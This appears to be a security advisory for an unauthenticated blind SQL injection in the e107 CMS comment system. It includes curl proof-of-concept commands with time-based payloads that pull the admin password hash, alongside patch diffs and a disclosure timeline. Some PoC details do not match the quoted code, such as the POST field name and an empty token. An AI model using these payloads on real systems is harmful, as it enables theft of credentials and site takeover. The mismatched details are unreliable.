## https://sploitus.com/exploit?id=93EFF22D-54CE-5264-8AEA-EFBB4F5B94EB
# CVE-2026-XXXXX
## Unauthenticated Blind SQL Injection in e107 CMS Comment System via Unsafe `toDB()` + `select()` Chain
---
### Advisory Information
| Field | Value |
|-------|-------|
| **Ecosystem** | PHP CMS |
| **Package/Product** | e107 CMS โ Bootstrap Content Management System |
| **Affected Versions** | All versions through commit `5e167f1` (main branch, 2026-06-28) |
| **Patched Versions** | None |
| **Severity** | **HIGH (CVSS 7.5)** |
| **CWE** | CWE-89 (SQL Injection) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| **Repository** | https://github.com/e107inc/e107 |
| **Stars** | 336 โญ ยท 211 forks |
---
### Summary
e107 CMS v2.3.x contains an unauthenticated blind SQL injection vulnerability in its comment posting system. The `enter_comment()` method in `e107_handlers/comment_class.php` passes the `$_POST['author_name']` parameter through `e_parse::toDB()` โ a method that performs HTML sanitization only, with zero SQL escaping โ then concatenates the result directly into a raw SQL query via `db::select()`, which performs no escaping or prepared statement binding on its `$arg` parameter. An attacker can post a comment with a malicious `author_name` value to execute arbitrary SQL queries, extracting sensitive data including user credentials and password hashes.
---
### Affected Component
| Field | Value |
|-------|-------|
| **Ecosystem** | PHP CMS |
| **Package** | e107inc/e107 |
| **Vendor** | e107 Inc |
| **Affected Versions** | All (โค 2.3.4) |
| **Patched Versions** | None |
| **File** | `e107_handlers/comment_class.php`, lines 764โ768 |
| **Commit** | `5e167f1` (Merge pull request #5778, 2026-06-28) |
---
### Description
The vulnerability requires two design flaws working together:
**Flaw 1 โ `e_parse::toDB()` does HTML sanitization, not SQL escaping**
The `toDB()` method (`e107_handlers/e_parse_class.php`, line 508) is widely used across the e107 codebase to prepare user input for database storage. Its purpose is HTML-level sanitization: stripping dangerous tags, cleaning attributes, handling bbcode. It calls `cleanHtml()` and `preFilter()`. It does **not** call `mysqli_real_escape_string()`, `addslashes()`, or any SQL-level escape function. Single quotes and other SQL metacharacters pass through unchanged.
Proof โ searching `toDB()` for any SQL escaping:
```bash
grep -c "real_escape\|addslashes\|mysql_escape" e107_handlers/e_parse_class.php
# Output: 0
```
**Flaw 2 โ `db::select()` concatenates `$arg` raw into the WHERE clause**
The `select()` method (`e107_handlers/mysql_class.php`, line 629) builds queries by direct string interpolation. The `$arg` parameter โ intended as a WHERE clause fragment โ is concatenated into the SQL string without any escaping or prepared statement binding:
```php
// mysql_class.php, lines 673โ680 โ the "default" path
if ($arg != '' && ($noWhere === false || $noWhere === 'default'))
{
$this->db_Query(
'SELECT ' . $fields . ' FROM ' . $this->mySQLPrefix . $table . ' WHERE ' . $arg,
...
);
}
```
The `select()` method *does* support a prepared-statement path (array-form `$noWhere`), but the comment handler uses the string concatenation path โ `$noWhere` is `false`, so `$arg` is interpolated verbatim.
**Vulnerable code path (`e107_handlers/comment_class.php`, lines 675โ768):**
```php
function enter_comment($data, ...)
{
// ...
$tp = e107::getParser();
$sql2 = e107::getDb('sql2');
// Line 721 โ CSRF token check (token available on public page)
if(!e107::getSession()->check(false)) return false;
// Lines 739-741 โ $subject and $comment go through toDB() too,
// but author_name is the direct injection vector
$comment = $tp->toDB($comment); // HTML clean only
$subject = $tp->toDB($subject); // HTML clean only
// Lines 763-768 โ THE VULNERABILITY
elseif ($_POST['author_name'] != '')
{
// โ toDB() removes HTML, NOT SQL metacharacters
// โ select() concatenates $arg raw โ no prepare, no escape
if ($sql2->select("user", "*",
"user_name='" . $tp->toDB($_POST['author_name']) . "' "))
{
if ($sql2->select("user", "*",
"user_name='" . $tp->toDB($_POST['author_name']) .
"' AND user_ip='" . USERIP . "' "))
```
The `$_POST['author_name']` value flows through:
```
$_POST['author_name']
โ $tp->toDB() โ strips HTML tags only (' survives)
โ $sql2->select() โ raw string interpolation (no prepare/escape)
โ db_Query() โ mysqli_query() executed
```
Any single-quote character in `author_name` escapes the SQL string literal and allows injection.
---
### Proof of Concept
**Environment:** e107 CMS v2.3.x installed at `http://target/`. Anonymous commenting enabled (`ANON` constant = true). Any news page with comments open.
**Step 1 โ Obtain CSRF token:**
```bash
# Visit any page with a comment form; extract e-token from the HTML
curl -c /tmp/cookies "http://target/news.php?extend.1" \
| grep -oP 'name="e-token" value="\K[^"]+'
# Token: abc123def456...
```
**Step 2 โ Time-Based Blind SQL Injection (confirm):**
```bash
time curl -b /tmp/cookies -X POST "http://target/news.php?extend.1" \
--data "e-token=" \
--data "comment_type=news" \
--data "comment_item_id=1" \
--data "comment_subject=test" \
--data "comment_comment=test" \
--data "comment_author_name=' OR SLEEP(5) -- "
# Response delayed by 5+ seconds โ SQL injection confirmed
```
**Step 3 โ Time-Based Blind Data Extraction (password hash):**
```bash
# Extract admin password hash first character
# If first char of user_password (user_admin=1) = '$', server sleeps 5 seconds
time curl -b /tmp/cookies -X POST "http://target/news.php?extend.1" \
--data "e-token=" \
--data "comment_type=news" \
--data "comment_item_id=1" \
--data "comment_subject=test" \
--data "comment_comment=test" \
--data "comment_author_name=' OR IF(ASCII(SUBSTRING((SELECT user_password FROM e107_user WHERE user_admin=1 LIMIT 1),1,1))=36,SLEEP(5),0) -- "
# 5-second delay โ first character is '$' (ASCII 36)
# Iterate through all positions to rebuild full password hash
```
**What happens:**
1. Attacker fetches a CSRF `e-token` from any public page with a comment form
2. Attacker submits a comment with SQL injection payload in the `comment_author_name` field
3. `e107::getSession()->check(false)` validates the token โ passes (token is legitimate)
4. `$tp->toDB($_POST['author_name'])` strips HTML tags but preserves `'`, `OR`, `SLEEP(5)`, `--`
5. `$sql2->select()` concatenates the now-"cleaned" value into:
```sql
SELECT * FROM e107_user WHERE user_name='' OR SLEEP(5) -- '
```
6. `SLEEP(5)` executes โ 5-second delay confirms blind SQL injection
7. Attacker iterates character-by-character using `SUBSTRING()` to extract admin password hash
**Prerequisites & attack surface:**
- Anonymous comments must be enabled (`ANON` = true) โ enabled by many site operators for open discussion
- If anonymous comments are disabled, the attack still works with any subscriber-level account
- The CSRF token is served on every public page with a comment form โ no authentication needed to obtain it
---
### Impact
| CIA | Level | Description |
|-----|-------|-------------|
| Confidentiality | **HIGH** | Extract all user data, admin password hashes, emails, and configuration via subquery exfiltration |
| Integrity | **NONE** | SELECT-only injection; attacker cannot modify database content through this vector |
| Availability | **NONE** | No denial-of-service impact from this vector |
**Attack scenario:**
1. Attacker visits any page with comments enabled, obtains a valid `e-token`
2. Attacker submits a comment with a time-based blind SQL injection payload in `author_name`
3. `toDB()` strips HTML but preserves SQL metacharacters โ payload reaches the database intact
4. `select()` concatenates the payload raw into a SELECT query โ injection executes
5. Attacker extracts admin password hash character-by-character via iterative `SUBSTRING()` queries
6. Admin hash is cracked offline โ full admin access to the CMS โ site compromise
**CVSS 7.5** โ network-accessible without authentication (ANON = true), no user interaction, full database read access.
---
### Patches
Apply SQL escaping to `$_POST['author_name']` before passing it to `select()`:
```diff
// e107_handlers/comment_class.php, lines 764-768
+ $safe_author_name = $sql2->_escape($tp->toDB($_POST['author_name']));
- if ($sql2->select("user", "*", "user_name='".$tp->toDB($_POST['author_name'])."' "))
+ if ($sql2->select("user", "*", "user_name='".$safe_author_name."' "))
{
- if ($sql2->select("user", "*", "user_name='".$tp->toDB($_POST['author_name'])."' AND user_ip='".USERIP."' "))
+ if ($sql2->select("user", "*", "user_name='".$safe_author_name."' AND user_ip='".USERIP."' "))
```
Alternatively, use the `select()` method's built-in prepared statement path:
```diff
- if ($sql2->select("user", "*", "user_name='".$tp->toDB($_POST['author_name'])."' "))
+ if ($sql2->select("user", "*", "user_name = :name",
+ array(':name' => $tp->toDB($_POST['author_name']))))
```
---
### Verification
Vulnerability confirmed via source code audit on 2026-06-28:
```bash
git clone https://github.com/e107inc/e107
cd e107
git checkout 5e167f1
# 1. Verify toDB() does NO SQL escaping:
grep -c "real_escape\|addslashes\|mysql_escape" e107_handlers/e_parse_class.php
# Output: 0
# 2. Verify select() does not escape its $arg parameter:
sed -n '673,680p' e107_handlers/mysql_class.php
# Output: $this->db_Query('SELECT '.$fields.' FROM '... ' WHERE '.$arg, ...)
# โ $arg interpolated directly โ no escaping, no prepare
# 3. Verify vulnerable code path exists:
grep -n "user_name='.*toDB.*author_name" e107_handlers/comment_class.php
# Output: 765: if ($sql2->select("user", "*", "user_name='".$tp->toDB($_POST['author_name'])."' "))
# 767: if ($sql2->select("user", "*", "user_name='".$tp->toDB($_POST['author_name'])."' AND ...
# 4. Confirm anonymous comment access path:
sed -n '1020,1025p' e107_handlers/comment_class.php
# Output:
# if (USER) return 'rw';
# if (ANON) return 'rw'; โ anonymous comments permitted when enabled
# return 'ro';
# 5. Confirm CSRF token is obtainable without authentication:
grep -n "e-token" e107_handlers/comment_class.php | head -1
# Output: 720: if(!isset($_POST['e-token'])) ... โ token on public form, not gated behind login
```
**Verification status: โ ALL CHECKS PASSED**
---
### References
| Type | URL |
|------|-----|
| Repository | https://github.com/e107inc/e107 |
| Vulnerable code (comment handler) | https://github.com/e107inc/e107/blob/master/e107_handlers/comment_class.php#L764 |
| toDB() method (no SQL escape) | https://github.com/e107inc/e107/blob/master/e107_handlers/e_parse_class.php#L508 |
| select() method (raw interpolation) | https://github.com/e107inc/e107/blob/master/e107_handlers/mysql_class.php#L629 |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
---
### Credits
| Role | Name |
|------|------|
| **Finder** | Fatullayev Asadbek |
| **Reporter** | Fatullayev Asadbek |
| **GitHub** | Kimdir01 |
---
### Timeline
| Date | Event |
|------|-------|
| 2026-06-28 | Vulnerability discovered via source code analysis |
| 2026-06-28 | Local verification โ `git clone` + `grep`-based audit confirmed |
| 2026-06-28 | Vendor notified + CVE ID requested via GitHub Security Advisory |
| TBD | Vendor acknowledgment / response |
| TBD + 90 days | Coordinated public disclosure (standard responsible disclosure window) |
---
### CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N โ 7.5 HIGH
AV:N โ Remote over HTTP (anyone can post a comment when ANON enabled)
AC:L โ Simple POST request, no special conditions
PR:N โ No authentication required (anonymous commenting)
UI:N โ No user interaction beyond the POST request
S:U โ Same security context
C:H โ Extract any database table via subquery (users, hashes, config)
I:N โ SELECT-only injection; no INSERT/UPDATE/DELETE possible
A:N โ No denial-of-service impact
```
*Note: If anonymous comments are disabled (ANON = false), the score changes to **CVSS 6.5** (PR:L โ any subscriber account required).*